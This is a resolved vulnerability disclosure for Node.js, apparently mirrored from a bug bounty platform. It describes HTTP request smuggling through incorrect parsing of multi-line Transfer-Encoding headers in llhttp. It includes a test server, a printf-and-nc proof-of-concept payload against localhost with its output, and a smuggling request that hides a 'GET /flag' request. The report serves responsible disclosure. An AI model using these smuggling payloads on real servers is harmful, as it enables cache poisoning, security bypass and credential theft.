Loading HuntDB...

HTTP Request Smuggling Due to Incorrect Parsing of Multi-line Transfer-Encoding

Medium
N
Node.js
Submitted None
Reported by zeyu2001

Vulnerability Details

Technical details and impact analysis

HTTP Request Smuggling
**Summary:** The `llhttp` parser in the `http` module in Node v17.6.0 does not correctly handle multi-line `Transfer-Encoding` headers. This can lead to HTTP Request Smuggling (HRS). **Description:** When Node receives the following request: ```http GET / HTTP/1.1 Transfer-Encoding: chunked , identity 1 a 0 ``` it processes the final encoding as `chunked`. Relevant code [here](https://github.com/nodejs/llhttp/blob/master/src/llhttp/http.ts#L483). Since Node accepts multi-line header values (defined as `obs-fold` in [RFC7230](https://datatracker.ietf.org/doc/html/rfc7230), the `Transfer-Encoding` header is actually `chunked , identity`. An upstream proxy that correctly implements multi-line header values will therefore process the final encoding as `identity` instead. This could lead to request smuggling as an `identity` header indicates that the body length is 0 - the upstream proxy and Node will disagree on where a request ends. The current behaviour is in violation of RFC7230 section 3.2.4, which states: ``` A server that receives an obs-fold in a request message that is not within a message/http container MUST either reject the message by sending a 400 (Bad Request), preferably with a representation explaining that obsolete line folding is unacceptable, or replace each received obs-fold with one or more SP octets prior to interpreting the field value or forwarding the message downstream. ``` While Node correctly replaces each received `obs-fold` with SP octets, in the case of the `Transfer-Encoding` header it does not do so **prior to interpreting the field value**. **Note:** This could be seen as an incomplete fix to #1002188, though it is a slightly different issue. The fix for #1002188 processed subsequent `Transfer-Encoding` headers, only setting the `chunked` encoding if the last `Transfer-Encoding` header is `chunked`. This should be extended to check for subsequent lines of the same `Transfer-Encoding` header. ## Steps To Reproduce: **Testing Server** Run the following server (`node server.js`): ```javascript const http = require('http'); http.createServer((request, response) => { let body = []; request.on('error', (err) => { response.end("error while reading body: " + err) }).on('data', (chunk) => { body.push(chunk); }).on('end', () => { body = Buffer.concat(body).toString(); response.on('error', (err) => { response.end("error while sending response: " + err) }); response.end(JSON.stringify({ "Headers": request.headers, "Length": body.length, "Body": body, }) + "\n"); }); }).listen(80); ``` **Payload** ```bash printf "GET / HTTP/1.1\r\n"\ "Transfer-Encoding: chunked\r\n"\ " , identity\r\n"\ "\r\n"\ "1\r\n"\ "a\r\n"\ "0\r\n"\ "\r\n" | nc localhost 80 ``` **Output** ```http HTTP/1.1 200 OK Date: Sun, 06 Mar 2022 03:34:05 GMT Connection: keep-alive Keep-Alive: timeout=5 Content-Length: 77 {"Headers":{"transfer-encoding":"chunked , identity"},"Length":1,"Body":"a"} ``` This shows the invalid parsing of the `Transfer-Encoding` header. **Note:** In the case of #1002188, the following payload demonstrates the same scenario (except a duplicate `Transfer-Encoding` header is replaced with a multi-line one) ```http POST / HTTP/1.1 Host: 127.0.0.1 Transfer-Encoding: chunked , chunked-false 1 A 0 GET /flag HTTP/1.1 Host: 127.0.0.1 foo: x ``` ## Supporting Material/References: Payloads and outputs: {F1644164} {F1644165} Server code: {F1644163} ## Impact Depending on the specific web application, HRS can lead to cache poisoning, bypassing of security layers, stealing of credentials and so on.

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Submitted

Weakness

HTTP Request Smuggling